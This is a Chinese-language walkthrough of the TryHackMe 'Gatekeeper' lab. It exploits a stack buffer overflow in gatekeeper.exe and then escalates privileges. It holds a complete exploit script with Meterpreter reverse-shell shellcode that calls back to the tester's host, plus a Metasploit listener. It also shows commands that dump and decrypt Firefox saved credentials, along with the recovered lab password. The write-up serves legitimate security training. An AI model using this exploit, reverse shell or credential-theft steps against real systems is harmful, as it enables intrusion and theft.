【THM】Gatekeeper-练习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/gatekeeper
通过学习相关知识点:利用堆栈缓冲区溢出漏洞来获得目标的初始访问权限,并将权限提升到root。
获取目标初始访问权限
端口扫描
部署本实验的虚拟靶机,使用nmap进行端口扫描。
nmap -sC -p- -T4 $ip
有效结果如下:
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
| rdp-ntlm-info:
| Target_Name: GATEKEEPER
| NetBIOS_Domain_Name: GATEKEEPER
| NetBIOS_Computer_Name: GATEKEEPER
| DNS_Domain_Name: gatekeeper
| DNS_Computer_Name: gatekeeper
| Product_Version: 6.1.7601
|_ System_Time: 2023-03-04T13:32:20+00:00
31337/tcp open Elite
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49161/tcp open unknown
49165/tcp open unknown
扫描显示了一些开放的端口,其中最不寻常的是端口 31337,因此这可能是需要与之交互的端口。
进行SMB枚举&获取目标文件
使用 SMBClient 列出主机上的可用共享并访问共享以查找目标文件
smbclient -L $ip
smbclient //$ip/Users
dir
cd Share
dir
get gatekeeper.exe
最终发现目标程序文件gatekeeper.exe,下载下来即可。
使用本地Windows虚拟机分析目标文件
tips:我们可以使用本地Windows虚拟机环境对目标文件进行逆向分析(通过分析找到目标文件gatekeeper.exe的缓冲区溢出漏洞即可);但是在逆向分析完成之后,我们还是要针对本次实验环境所提供的靶机进行渗透。
接下来我们需要将目标文件丢到本地Windows虚拟机中。
先在本地kali机上开启一个简易的web服务器以便传输文件到本地Windows机器中。
python -m http.server 8888
在本地Windows虚拟机中访问本地kali机etho ip所开放的端口并下载目标文件,完成下载之后在Windows机器中查看该exe程序的运行界面。
在kali机上使用netcat与靶机端口 31337 以及本地Windows机器的端口 31337 上的服务交互——我们可以发现该服务(此服务对应的程序为gatekeeper.exe)允许用户进行一些输入操作,在完成输入后将自动在终端界面打印“hello [input]!!!”字符串。
初步Fuzzing测试
在本地Windows虚拟机上启动 Immunity Debugger并打开目标文件gatekeeper.exe,我们将在本地kali机中对本地Windows机上的目标程序手动进行fuzz测试 以便找出大概多少字节会导致目标应用程序发生崩溃。
python -c "print('A'*200)"
确定offset并控制EIP
下一步需要确定正在发送的缓冲区的哪一部分落在目标程序的EIP寄存器中,以便我们控制目标程序的执行流程,我们先使用msf中的pattern_create.rb脚本创建一个200字节的随机字符串。
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
#也可以在Immunity Debugger的命令栏中输入命令:!mona pattern_create 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
和之前一样,手动将以上随机字符串发送到目标程序的输入缓冲区中(此处要先在本地Windows虚拟机中用Immunity Debugger运行目标exe),当程序再次崩溃时,我们需要检查并记录下本地Windows虚拟机的Immunity Debugger中的EIP寄存器值。
我们可以看到EIP值为39654138,现在我们用msf pattern offset脚本来查看我们所需要的确切的EIP偏移量(也就是能够使缓冲区溢出的精确的字符串长度值)。
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q 39654138
我们成功得到能够使缓冲区溢出的精确的字符串长度值:146。
现在我们需要构建exp脚本,此处参考:https://github.com/gh0x0st/Buffer_Overflow
我们需要在exp脚本中添加本地Windows虚拟机的ip以便我们向应用程序发送数据,结合前面得到的能够使目标程序崩溃的字符长度-146个字符大小,我们得到以下初始脚本(exp.py):
#!/usr/bin/python
import socket
import sys
ip = '192.168.101.27'
port = 31337
offset = 146
buffer = b"A" * offset
retn = b""
padding = b""
payload = b""
buffer += retn
buffer += padding
buffer += payload
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print("Sending buffer")
s.send(buffer + b"\r\n")
print("Done!")
s.close()
except:
print("Unable to connect to the application.")
sys.exit()
在kali机上执行以上初始exp脚本,能够使目标程序崩溃(注意:每次都需要先用本地Windows虚拟机中的Immunity Debugger运行目标程序,再在本地kali机中执行exp脚本,这样脚本才会生效)。
python3 exp.py
接下来我们要控制EIP,我们可以通过在 146*A 的末尾添加四个 B 字符来确认我们能够覆盖 EIP。
#基于初始exp.py修改
offset = 146
buffer = b"A" * offset
retn = b"B" * 4
再次执行exp脚本(先用本地Windows虚拟机中的Immunity Debugger运行目标程序),查看EIP寄存器值——发现成功覆盖(42424242,字符B对应的十六进制数为0x42)。
寻找坏字符
接下来我们要检查坏字符。
先使用以下命令在Immunity Debugger的命令栏中配置mona.py工作目录。
!mona config -set workingfolder c:\mona\%p
再使用以下命令新建一个坏字符数组(记录一下生成的数组文件所在路径——即下图中箭头所标注位置)。
!mona bytearray -b "\x00"
#Binary output saved in c:\mona\gatekeeper\bytearray.bin
使用以下python代码生成一串与前面的坏字符数组相同的字符串。
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
用以上输出结果修改exp脚本中的payload变量 并再次执行exp脚本使目标程序崩溃,记录下Immunity Debugger中的esp address。
#基于初始exp.py修改
offset = 146
buffer = b"A" * offset
retn = b"B" * 4
padding = b""
payload = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
buffer += retn
buffer += padding
buffer += payload
最后执行mona的比较命令得到坏字符比较结果。
# !mona compare -f C:\mona\gatekeeper\bytearray.bin -a [esp address]
!mona compare -f C:\mona\gatekeeper\bytearray.bin -a 00B319E4
根据上图输出结果并经过排除操作——在exp脚本中的payload变量内容中删去\xoa字符,然后再次使程序崩溃并再次使用mona比较命令,结果显示Unmodified状态,所以我们可知最终的坏字符为"\x00\xoa"
。(此处的排除操作主要是为了验证\x0a字符是否是受\x00影响才出现在mona比较命令的输出列表中)
寻找跳跃点
接下来我们要找到一个有效的 JMP ESP 指令地址,以便我们可以将目标应用程序的执行流程重定向到我们的恶意shellcode所在位置。
在目标exe 处于运行状态或处于崩溃状态时,运行以下 mona jmp 命令,确保使用我们已经找到的所有坏字符来更新 -cpb 选项即可:
!mona jmp -r esp -cpb "\x00\x0a"
#JMP ESP 0x080414c3
#JMP ESP 0x080416bf
选择地址0x080416bf,使用小端字节序表示为: \xbf\x16\x04\08 ——逆序书写即可,此地址用于填充exp脚本中的retn变量
生成最终payload&开始漏洞利用
使用msfvenom命令生成一个排除坏字符的payload (此处选择生成Meterpreter shell类型的payload;此处ip是本地kali机中的TryHackMe vpn ip)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.16.58 LPORT=4444 -b "\x00\x0a" -f py -v payload
#-p 指定负载类型,在本例中为Windows Meterpreter Reverse TCP Shell
#LHOST 指定要连接的本地主机 IP 地址 10.13.16.58
#LPORT 指定要连接的本地机端口
#-f 指定格式
#-b 指定排除坏字符
#-e 指定编码器(此处未设置--最终将使用默认编码器)
#-v 指定用于 shellcode 的变量名
复制以上输出结果到exp脚本的payload变量中,为了稳定,我们还需要添加NOP。
padding = b"\x90" * 16
现在我们知道了用于构建exp脚本的所有有效信息(我们要针对本实验的虚拟靶机中的目标程序,此处脚本中的$target-ip
要使用实验房间所提供的靶机ip),最终可用的exp.py脚本内容如下所示:
#offset 146
#bad characters \x00\x0a
#JMP ESP 0x080414c3
#JMP ESP 0x080416bf
#Nop "\x90" * 16
# shellcode
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=4444 -b "\x00\x0a" -f py -v payload
#!/usr/bin/python
import socket
import sys
ip = '10.10.158.114'
port = 31337
offset = 146
buffer = b"A" * offset
retn = b"\xbf\x16\x04\x08"
padding = b"\x90" * 16
payload = b""
payload += b"\xb8\x91\x23\x28\x6d\xd9\xc1\xd9\x74\x24\xf4"
payload += b"\x5b\x33\xc9\xb1\x59\x83\xeb\xfc\x31\x43\x10"
payload += b"\x03\x43\x10\x73\xd6\xd4\x85\xfc\x19\x25\x56"
payload += b"\x62\x93\xc0\x67\xb0\xc7\x81\xda\x04\x83\xc4"
payload += b"\xd6\xef\xc1\xfc\xd7\x10\xea\x4b\x5d\xc8\x7e"
payload += b"\xc1\x4a\x25\x41\x8a\xb7\x24\x3d\xd1\xeb\x86"
payload += b"\x7c\x1a\xfe\xc7\xb9\xec\x74\x28\x17\x64\x24"
payload += b"\xa6\x13\x38\xf5\x91\x22\x6d\x8e\x5d\x5d\x08"
payload += b"\x51\x29\xd1\x13\x82\x5a\xa1\x0b\x72\xd7\x6a"
payload += b"\x0c\x73\x34\x0f\x85\x07\x86\x21\xe9\xa1\x7d"
payload += b"\x75\x9e\x33\x57\x47\x60\x9f\x96\x67\x6d\xe1"
payload += b"\xdf\x40\x8e\x94\x2b\xb3\x33\xaf\xe8\xc9\xef"
payload += b"\x3a\xee\x6a\x7b\x9c\xca\x8b\xa8\x7b\x99\x80"
payload += b"\x05\x0f\xc5\x84\x98\xdc\x7e\xb0\x11\xe3\x50"
payload += b"\x30\x61\xc0\x74\x18\x31\x69\x2d\xc4\x94\x96"
payload += b"\x2d\xa0\x49\x33\x26\x43\x9f\x43\xc7\x9b\xa0"
payload += b"\x19\x5f\x57\x6d\xa2\x9f\xff\xe6\xd1\xad\xa0"
payload += b"\x5c\x7e\x9d\x29\x7b\x79\x94\x3e\x7c\x55\x1e"
payload += b"\x2e\x82\x56\x5e\x66\x41\x02\x0e\x10\x60\x2b"
payload += b"\xc5\xe0\x8d\xfe\x73\xeb\x19\x0b\x8e\xfb\xe3"
payload += b"\x63\x92\xfb\x02\x28\x1b\x1d\x74\x80\x4b\xb2"
payload += b"\x35\x70\x2b\x62\xde\x9a\xa4\x5d\xfe\xa4\x6f"
payload += b"\xf6\x95\x4a\xd9\xae\x01\xf2\x40\x24\xb3\xfb"
payload += b"\x5f\x40\xf3\x70\x55\xb4\xba\x70\x1c\xa6\xab"
payload += b"\xe6\xde\x36\x2c\x83\xde\x5c\x28\x05\x89\xc8"
payload += b"\x32\x70\xfd\x56\xcc\x57\x7e\x90\x32\x26\xb6"
payload += b"\xea\x05\xbc\xf6\x84\x69\x50\xf6\x54\x3c\x3a"
payload += b"\xf6\x3c\x98\x1e\xa5\x59\xe7\x8a\xda\xf1\x72"
payload += b"\x35\x8a\xa6\xd5\x5d\x30\x90\x12\xc2\xcb\xf7"
payload += b"\x20\x05\x33\x85\x0e\xae\x5b\x75\x0f\x4e\x9b"
payload += b"\x1f\x8f\x1e\xf3\xd4\xa0\x91\x33\x14\x6b\xfa"
payload += b"\x5b\x9f\xfa\x48\xfa\xa0\xd6\x0d\xa2\xa1\xd5"
payload += b"\x95\x55\xdb\x96\x2a\x96\x1c\xbf\x4e\x97\x1c"
payload += b"\xbf\x70\xa4\xca\x86\x06\xeb\xce\xbc\x19\x5e"
payload += b"\x72\x94\xb3\xa0\x20\xe6\x91"
buffer += retn
buffer += padding
buffer += payload
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print("Sending buffer")
s.send(buffer + b"\r\n")
print("Done!")
s.close()
except:
print("Unable to connect to the application.")
sys.exit()
我们在kali机上设置一个msf监听器并针对本实验的靶机执行最终的exp脚本。
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.13.16.58
set LPORT 4444
exploit
找到user.txt并查看其内容。
user.txt的内容为:
答题
提升权限到root
转储目标机上的浏览器缓存文件
在上一小节的桌面文件夹中我们可以发现一个重要文件firefox.lnk,从浏览器缓存中检索登录凭据是权限提升的路径之一,而在 windows 文件中有一个已知路径会默认保存firefox 浏览器的缓存,在进行谷歌搜索之后我们会找到如下路径:
C:\Users\{user}\AppData\Roaming\Mozilla\Firefox\Profiles\
在本实验中user是natbat,所以我们可以在以下路径可以找到浏览器缓存文件。
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\
我们在Meterpreter shell界面选择使用post/multi/gather/firefox_creds 模块来转储目标机中的上述浏览器缓存文件到本地kali机。
sessions
use post/multi/gather/firefox_creds
options
set SESSION 2
run
#在已经获取Meterpreter会话的情况下使用以上模块
由上图可知转存储的文件在/root/.msf4/loot/路径下 并且可知这些文件的初始名称为cert9.db、cookies.sqlite、key4.db和 logins.json
解密转储文件以得到登录凭据
接下来我们需要将转储的文件恢复初始名称,然后再用Firefox 存储文件解密脚本进行解密以得到明文登录凭据。
#先将转储的文件恢复初始名称——否则Firefox存储文件解密脚本无法生效
cd /root/.msf4/loot/
ls
mv 20230304230824_default_10.10.158.114_ff.ljfn812a.cert_110129.bin cert9.db
mv 20230304230844_default_10.10.158.114_ff.ljfn812a.cook_333552.bin cookies.sqlite
mv 20230304231040_default_10.10.158.114_ff.ljfn812a.key4_617941.bin key4.db
mv 20230304231118_default_10.10.158.114_ff.ljfn812a.logi_517575.bin logins.json
Firefox 存储文件解密脚本(以下两个脚本都可使用,本文选择使用第二个):
git clone https://github.com/unode/firefox_decrypt.git
#将要解密的文件移动到指定目录下
mv /root/.msf4/loot/logins.json /home/hekeats
mv /root/.msf4/loot/key4.db /home/hekeats
#使用解密脚本针对指定目录下的文件进行解密
python3 firefox_decrypt/firefox_decrypt.py /home/hekeats/
得到登录凭据:
Username——'mayor'
Password——'8CL7O1N78MdrCIsV'
使用凭证进行RDP登录&成功获取root权限
使用得到的凭据在本地kali上进行远程RDP登录,成功登录之后再查看root.txt内容即可。
#xfreerdp /u:mayor /p:8CL7O1N78MdrCIsV /cert:ignore /v:MACHINE_IP
xfreerdp /u:mayor /p:8CL7O1N78MdrCIsV /cert:ignore /v:10.10.158.114
root.txt的内容为: